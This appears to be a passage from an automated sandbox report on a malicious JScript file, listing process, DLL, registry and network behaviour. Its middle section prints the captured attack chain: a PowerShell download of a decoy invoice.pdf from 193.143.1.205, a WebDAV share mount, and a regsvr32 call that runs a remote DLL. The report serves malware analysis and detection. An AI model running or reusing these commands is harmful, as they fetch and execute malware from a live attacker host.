Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\3792.js.csv");ITextStream.WriteLine(" entry:7988 f:ewyzekg");ITextStream.WriteLine(" exec:2 f:ewyzekg");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49734

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4049			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5003			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6504	Thread sleep count: 4049 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6504	Thread sleep count: 5003 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 700	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6696	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5292	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7008	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 6404	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7584	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000003.1394741879.000002140B5CA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1395637347.000002140B568000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2625436782.00000289F7C58000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000003.1394741879.000002140B5CA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWEUr
Source: svchost.exe, 00000009.00000002.2624405889.00000289F262B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20509307942337.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20509307942337.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20509307942337.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
